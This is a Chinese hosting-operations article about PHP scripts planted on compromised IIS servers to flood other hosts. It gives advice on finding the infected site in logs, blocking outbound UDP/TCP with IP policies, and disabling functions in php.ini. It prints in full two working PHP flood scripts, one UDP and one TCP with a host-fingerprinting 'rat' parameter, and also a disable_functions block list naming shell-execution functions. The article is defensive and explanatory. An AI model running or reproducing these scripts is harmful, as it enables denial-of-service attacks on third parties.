php对外发包引发服务器崩溃的终极解决方法分享[推荐]

一、php对外发包分析
用php代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

复制代码 代码如下:

$packets = 0;

$ip = $_GET[\’ip\’];

$rand = $_GET[\’port\’];

set_time_limit(0);

ignore_user_abort(FALSE);

$exec_time = $_GET[\’time\’];

$time = time();

print \”Flooded: $ip on port $rand

\”;

$max_time = $time+$exec_time;

for($i=0;$i<65535;$i++){

$out .= \”X\”;

}

while(1){

$packets++;

if(time() > $max_time){

break;

}

$fp = fsockopen(\”udp://$ip\”, $rand, $errno, $errstr, 5);

if($fp){

fwrite($fp, $out);

fclose($fp);

}

}

echo \”Packet complete at \”.time(\’h:i:s\’).\” with

$packets (\” . round(($packets*65)/1024, 2) . \” mB) packets averaging \”.

round($packets/$exec_time, 2) . \” packets/s \\n\”;

?>

二、表现特征
一打开IIS,服务器的流出带宽就用光—–就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是服务器不断收到大量数据包.

近期由于DEDECMS出现漏洞而导致大量服务器出现这个问题.

如何快速找到这些站?

你可以打开日志

C:\Windows\System32\LogFiles\HTTPERR\httperr…log,打开今天时间的文件,

里面有类似这样的记录:

2011-04-26 06:37:28 58.255.112.112 26817 98.126.247.13 80 HTTP/1.1 GET /xxxx/xxxxxx.php?host=122.224.32.100&port=445&time=120 503 783 Disabled 30_FreeHost_1

最后三项 783 Disabled 30_FreeHost_1

783就是这个站在IIS中的ID

30_FreeHost_1就是所在池

三、解决办法
1.按上述找到这个网站后停止它.或停止池,并重启IIS.

2.在IP策略,或防火墙中,禁止所有udp向外发送

在星外最新版本的安全包中,已带有4.0版本的IP策略【下载safe包】,您导入后就直接可以限制了外发的UDP包。下载这个包,之后导入安全策略。但这个策略并没有关闭DNS端口,部分攻击还是有效.

为了解决这个问题,你也可以调整IP策略,限制udp只能访问特定的DNS服务器IP,如8.8.8.8,除非黑客攻击这个IP,不然攻击也是无效的,你可以在网卡DNS中设置一个你才知道的DNS IP,并且不要公开,然后调用IP策略中的udp open部分就可以解决.(打开IP策略的属性,双击open,将open中的两条udp记录删除任意一条,在保留的这条中,双击,改成 地址 从源地址 任何地址 到目标地址 “特定IP 这个IP就是设置为你自己的DNS IP,如8.8.8.8” 保存后就行了 )

在2011-4-27,我们上传了新的安全包,里面有一个”星外虚拟主机管理平台IP策略关闭所有UDP端口用.ipsec”文件,您可以导入它并启用,就可以关闭所有udp端口,就可以完全防止这类攻击,但是,这个策略由于关闭了DNS端口,会造成的这台服务器上无法用IE访问任何域名,因此,用户的采集功能也就用不了.(同样,如果在主控网站上用了这个策略,就会造成的受控自检不通过,因为解析不了域名,另外,部分用户反映此策略会造成的mysql不正常)

3.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词(其他关键词可以删除.)

4.也可以直接禁止上面的代码,如改win\php.ini后重启IIS

ignore_user_abort = On

(注意前面的;号要删除)

disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,

在后面加上

fsockopen,set_time_limit

但这样会造成很多php程序都不正常.

另外,这也表明你的服务器安全做得不错,如果能入侵.黑客就直接提权了,还DOS做什么?

近期已有新的基于TCP攻击的PHPDDOS代码如下:

复制代码 代码如下:

set_time_limit(999999);

$host = $_GET[‘host’];

$port = $_GET[‘port’];

$exec_time = $_GET[‘time’];

$packets = 64;

ignore_user_abort(True);

if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){

if (StrLen($_GET[‘rat’])<>0){

echo $_GET[‘rat’].$_SERVER[“HTTP_HOST”].”|”.GetHostByName($_SERVER[‘SERVER_NAME’]).”|”.

php_uname().”|”.$_SERVER[‘SERVER_SOFTWARE’].$_GET[‘rat’];

exit;

}

exit;

}

$max_time = time()+$exec_time;

while(1){

$packets++;

if(time() > $max_time or $exec_time != 69){

break;

}

$fp = fsockopen(“tcp://$host”, $port, $errno, $errstr, 0);

}

?>

同样,可以采有以下解决办法:

1.也可以直接禁止上面的代码,如改win\php.ini后重启IIS

ignore_user_abort = On

(注意前面的;号要删除)

disable_functions =exec,system,passthru,popen,pclose,shell_exec,proc_open,curl_exec,multi_exec,dl,chmod,stream_socket_server,popepassthru,pfsockopen,gzinflate,

在后面加上

fsockopen,set_time_limit

但这样会造成很多php程序都不正常.

2.在IP策略中禁止所有外访的TCP数据包,但这样会造成的采集功能无效,也不能用在主控服务器上。

3.在服务器要用关键词tcp:或udp:搜索所有php类文件,找到攻击文件,删除它。

以上方法供 vps、服务器托管用户学习!

原创文章,作者:晴川运维,如若转载,请注明出处:https://baike.qcidc.com/4242.html

(0)
晴川运维晴川运维
上一篇 2025年6月8日
下一篇 2025年6月8日

相关推荐

  • WIN2003中使用IIS配置手机下载类WAP网站的MIME类型介绍

    下面我就针对win2003为大家介绍一下WAP站点的安装 让IIS服务器 可以支持sis、SISX、3GP、ADP、AMR、JAD、JAR、MMF、MFM、PMD、UMD等文件下载…

    IIS 2025年6月21日
  • Win2003 R2 SP2 64位服务器系统 配置PHP+IIS6

    有人会问,我为什么不用Apache来配置,因为我的服务器还要运行一个.NET的网站,而且网站和论坛之间实现了同步注册和登陆。 FastCGI是iis下配置php的一个新东西,配置方…

    IIS 2025年6月14日
  • IIS下还原备份xml配置文件的方法

    备份步骤:打开IIS -> 右键网站 -> 将配置保存到一个文件 -> 选择路径确定(无加密)。   在机子重装后使用DOS命令进行还原。(因为IIS6上没有方便…

    IIS 2025年7月8日
  • Windows2003 服务器安全配置详细篇

    这个不同于之前做的两个演示,此演示基本上保留系统默认的那些权限组不变,保留原味,以免取消不当造成莫名其妙的错误.   看过这个演示,之前的”超详细web服务器权限设置,…

    IIS 2025年6月19日
  • win2003 服务器安全配置全套详解

    本文更侧重于防止ASP漏洞攻击,所以服务器防黑等方面的讲解可能略嫌少了点。 基本的服务器安全设置 安装补丁 安装好操作系统之后,最好能在托管之前就完成补丁的安装,配置好网络后,如果…

    IIS 2025年6月8日
  • WebDeploy 微软开发的IIS6同步应用程序

    WebDeploy同步IIS6文档下载 简介 WebDeploy 是微软开发的用于IIS管理的简单应用程序。WebDeploy通过简单的命令行脚本实现部署在IIS6上应用程序向II…

    IIS 2025年6月18日
  • Win2003 IIS 安装方法 图文教程

    一般大家先安装好win2003系统,图文教程 Win2003 服务器系统安装图文教程 要通过控制面板来安装。具体做法为: 1. 进入“控制面板”。 2. 双击“添加或删除程序”。 …

    IIS 2025年6月8日
  • IIS常见问题与错误及其解决方案

    Q:为什么我的ASP页面到windows2003后就不能执行了,执行ASPX正常。   A:windows2003中默认没有启用ASP支持,在iis的WEB Service Ext…

    IIS 2025年6月4日
  • 最简单使IIS支持ASPX的权限设置(不建议服务器设置)

    1、网站目录权限 administrators组 全部权限 system组 全部权限 iis_wgp组 读取权限 iis运行用户(独立用户)读,写权限 2、系统目录权限 c:\wi…

    IIS 2025年6月8日
  • Windows Server 2012 IIS概述

    iis或Internet信息服务角色是windows server 2012中最重要的服务之一。与以前的版本相比,它具有改进的功能,它有助于我们发布Web应用程序或网页。 现在让我…

    IIS 2025年6月29日

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注